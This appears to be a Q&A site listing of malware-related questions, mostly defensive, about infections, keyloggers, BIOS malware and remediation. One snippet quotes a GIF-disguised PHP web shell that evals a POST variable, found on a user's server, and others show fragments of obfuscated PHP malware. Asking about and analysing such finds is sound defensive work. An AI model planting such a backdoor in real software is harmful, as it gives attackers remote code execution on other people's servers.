Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

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128 views

Video site requests Adblocker to be shut off, next day I have 3 “weird” bookmarks

I was on a site trying to view a video and the site requested that I turn off my adblocker to view the video. So I did and then the next day I noticed that I had 3 "weird" bookmarks in my bookmark ...
86
votes
7answers
55k views

How secure are virtual machines really? False sense of security?

I was reading this CompTIA Security+ SYO-201 book, and the author David Prowse claims that: Whichever VM you select, the VM cannot cross the software boundaries set in place. For example, a ...
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4answers
298 views

Malware script uploaded - CPU has been maxed out

I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server. The file it was calling ...
0
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0answers
40 views

Why malicious browser extensions along with API hooking

Most malware steals financial data by hooking to browser APIs like PR_Read, PR_write etc.. Also I see some malware like Sinowal use browser extensions along with these API hooks. I believe a user ...
0
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0answers
60 views

injecting javascript in webviews in Android

I am relatively new to mobile application security. Currently I am supposed to audit an android application which uses a webview to display some static FAQ page in an activity. The webview in ...
5
votes
2answers
154 views

Malware known for stealing private ssh keys

The ssh private key file, stored under ~/.ssh/id_rsa in many *nix distros, is typically owned by the user, allowing any program invoked by that user to read the file, and perhaps upload it to a remote ...
0
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1answer
79 views

Server full disk encryption protection from malware

A group of LINUX servers is using dm-crypt to encrypt data. The servers do not store data long-term but are only temporary stopping points for data before it is sent to other systems. The time the ...
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2answers
2k views

CloudFlare - prompted for “attention required”

I am getting a CloudFlare - attention required / security check prompt on most of the sites I visit through my Macbook running OS X Yosemite, these sites work perfectly on other devices (such as iPad, ...
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0answers
38 views

How long does it typically take to distribute malware signatures?

Are there industry-wide measures that identify how long it typically takes to identify, develop and distribute new malware signatures? I want to understand how long organizations are typically ...
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0answers
57 views

Linux: Chinese Unionpay plugin, Ubuntu 64-bit - Spamware / Trojan?

China / Linux / Bank / Trojan / Backdoor / Executables Hey guys. I've got an account with a Chinese bank (I live here), and in the process of setting up an online account for the Chinese version of ...
0
votes
1answer
82 views

What items should be on a malware remediation checklist? [closed]

Edit: Let's assume Windows 7 and potentially Windows Server 2003/2008. IMHO, any machine that has malware should be reimaged/reformatted/OS reinstalled before it is deployed back into the ...
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2answers
205 views

How can the Equation Group HDD firmware malware help bypass FDE?

There is currently a lot of discussion going on across the Internet about the "Equation Group" family of malicious hard disk drive firmware. One thing that has me wondering is the claim that ...
4
votes
3answers
493 views

How can I recognize and find file(s) dropped by malware?

Suppose I am doing malware analysis. How can I recognize if, during the analysis process, a piece of malware dropped a file in my system, and if so, the path of the file? What are the procedures, ...
2
votes
1answer
87 views

Data collection when responding to malware alerts

When investigating malware alerts I would like to collect some information from the system before the decision gets made to take the system off of the network and re-imaged, or if further forensics is ...
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2answers
66 views

Potential worm damage on a physically isolated Tor system

I'm setting up a physically isolated Tor system (with one computer serving as the workstation and another as a Tor gateway), and I'm concerned about methods a worm could use to infect my OS. In the ...
26
votes
1answer
3k views

What is an n-day security attack?

There are several attacks types in computer security. For instance, zero-day attacks consist of attacks that use undisclosed exploits. In contrast, what is an n-day attack? Is it a security concern?
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3answers
289 views

Risk of spyware on seized devices

This question (Prevention measures against laptop seizure at US borders) addresses a number of techniques for securing data while crossing borders. Perhaps the most useful advice was to simply not ...
3
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2answers
349 views

Is it possible to get malware through an incoming video/audio stream? (e.g. Omegle, Skype etc.)

just a quick question. Is it possible for incoming video/audio streams to contain malware etc. through exploits in the transfer of the video/audio? Thanks in advance.
0
votes
2answers
77 views

can this be canceled [closed]

Limi1.com put up a malware alert on my computer, with an accompaining number to call. it stated for 29.97 it would be fixed. this was last night today I called my credit card, and was told a charge of ...
5
votes
1answer
189 views

Should veil framework produce packed and obfuscated binaries which bypass virustotal?

I have been working with the veil framework to test an internal IDS system I have in place. I have used a public malware sample which produces an 8/53 hit score on Virustotal and run it through the ...
2
votes
4answers
409 views

Can any dangerous file(Virus, Trojan, Malware, etc) cause harm inside a zip or rar?

I am using Windows 8.1 pro with Mozilla Thunderbird for my email requirements. I have my Thunderbird set to auto download all email attachments, however upon runnning a Virus scan I am seeing many ...
2
votes
0answers
93 views

Lowercase 'w' seen in C:\windows application paths from wmic services list

In reviewing several Windows 7 computers built from the same image (using wmic services command), I'm seeing most all the Window services paths displayed as C:\windows not C:\Windows. The 'w' is ...
2
votes
1answer
75 views

Is drag-and-drop safer than using the clipboard when it comes to protecting sensitive data from keyloggers?

I noticed that multiple password-locker applications recommend that you use the drag-and-drop feature to transfer passwords to login forms instead of copying the passwords to the clipboard or having ...
14
votes
5answers
1k views

Methods of mitigating threats from keyloggers

I am concerned about keyloggers being installed on my system and transmitting sensitive data out of our network. Is there a common method that such malware uses to send its collection back to the ...
0
votes
3answers
138 views

Is my LAN infected?

I don't know if this is the right place for this question but here it goes... When I access websites that have Google ads included with a device (pc, tablet, laptop) connected to my LAN, these ads ...
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2answers
51 views

unprivileged or privileged malware for botnets

For those malwares which are used to organize botnets to DDOS a website, they just need to send and receive HTTP packets. Do they need to be privileged? If they dont need to be privileged, is it true ...
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2answers
305 views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
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votes
2answers
233 views

Google DNS in Firewall logs

I was viewing my firewall logs and come across the IP 8.8.8.8. Further check reveals it belongs to Google DNS. And such traffic has been going out from some of our LAN segment PCs. From here on, how ...
2
votes
2answers
81 views

What will happen to my Windows PC if I visit a site from a network marked as malicious by google safebrowsing [closed]

Google rated a whole network in china as malicious: http://www.google.com/safebrowsing/diagnostic?site=AS:4134 Quite a few of our customers have their websites hosted in that network (e.g. ...
0
votes
1answer
107 views

Virtual Penetration Test Lab - Figuring Out Its Market Size

Is there any reliable data available based on which the Global Market Size of Virtual Pen Testing Labs ( or Cyber Ranges ) can be ascertained ? If NOT , is it possible to calculate it ?
2
votes
2answers
280 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
6
votes
1answer
1k views

How can one create one's own anti-virus scan server at home? [closed]

I suppose that every one used a service such as virustotal.com, anubis.iseclab.org, or any other service that could provide the same objective to scan same files. So my question is how can I make ...
26
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3answers
2k views

Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
12
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1answer
2k views

How to study the packets sent by a keylogger

One of my friends runescape account got hacked through key-logger. He downloaded a runescape gold generator from a file sharing site and tried to use it. I have a strong doubt that it is a key-logger. ...
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2answers
203 views

Malicious self-executing code can only exist in EXIF data in JPEG images?

Let's say we got an infected JPEG image that just by viewing it can automatically execute the malicious code stored inside it. It can do this either by taking advantage of the image viewer's security ...
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2answers
151 views

How can I detect unencrypted self-executing code in JPEG images?

Assuming that I have an infected image containing a self-executing malicious code that targets my image viewer and executes when I open the file. Supposing also that my computer is completely clean ...
-1
votes
1answer
167 views

Offline malware / script scanner for webfiles (PHP and HTML) [closed]

I have downloaded an entire copy of a website that has been used as a spam relay. I think I have tracked down the problem to a loophole in a contact form (now closed, but was not used, but still ...
8
votes
3answers
5k views

How to manage admin rights for helpdesk staff?

My question is about issuing administrative rights to helpdesk staff in a large Active Directory setting. Helpdesk staff commonly require administrative rights to provide support for end users. I ...
1
vote
2answers
293 views

Protecting the BIOS from malware [closed]

The BIOS operates at a lower level than the OS, so antivirus software cannot scan it. Is there any other security software that we should use to protect the BIOS?
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vote
3answers
76 views

Methods to have multiple Anti Virus installed on one machine

I am running Windows 8.1 Pro, Ideally I would like to have the top 5 Anti Virus installed but I am aware it is not advised as they can clash with each other. I was wondering if there is a favoured ...
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votes
0answers
43 views

Is it possible to lock guest VMs (or processes) to sticks of physical RAM to prevent row hammer attacks?

I was wondering if it is possible through some means to isolate processes (or preferably guest VMs) to physical sticks of RAM. This would be to prevent row hammer like attacks from using physical ...
18
votes
5answers
3k views

The Perfect Mousetrap - Can a sandbox system be designed such that it's identical to an actual computer? [duplicate]

In testing suspicious files for malware, the typical method is to search for known malicious code. This is why zero-day malware attacks can be so dangerous — their malicious code is previously unknown ...
2
votes
2answers
290 views

Attacker able to install screen capturing software in Windows 7 guest account

I am operating in a guest account of Windows 7. Could an attacker that got onto my PC through malware I installed, install a video program that records everything I do and send the result back to his ...
12
votes
2answers
4k views

Sites being redirected to adult site in all devices [closed]

From past couple of days, we are facing this issue where sites are automatically being routed to an adult site, although we get a 404 Not Found HTTP error. First guess is obviously that my system is ...
5
votes
1answer
87 views

What method could a white-box attacker use to track the deletion of memory / files?

A rather theoretical question: Assuming there is memory with a malware inside it. The malware's goal is to detect if a legit application is about to delete contents of the memory. If recognized, the ...
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vote
2answers
167 views

Hidden Malware on a windows OS able to startup [closed]

How do hackers hide there malware on windows, to startup and be impossible to find then delete. The results I found that a hacker can use to hide his malware: (found here) Windows: Setting hidden ...
3
votes
3answers
104 views

How do I check the hash of an ISO?

If I download the OS image from Ubuntu servers from a location where I can get the MITM attack and get a compromised image, then how I can check its hash to prove that its original image? Hashes may ...
4
votes
2answers
2k views

How Do I Troubleshoot a Browser Hijack on a Mac?

My Mac is getting weird redirects with Safari and Chrome, however not with Mozilla Firefox. Since I cannot find software to do malware removal on Apple products or any good information, I am at a loss ...
7
votes
4answers
3k views

What does this malicious PHP script do? [closed]

Somebody hacked my site and uploaded this script (template46.php) to my webroot and its content is: <?php $vIIJ30Y = Array('1'=>'F', '0'=>'j', '3'=>'s', '2'=>'l', '5'=>'M', ...
2
votes
2answers
106 views

Malware analysis - Traffic Inspection

I am working on small project. There is an organization in which it has 100 around systems across the country. All of their machine's traffic goes through a single proxy monitored and maintained by ...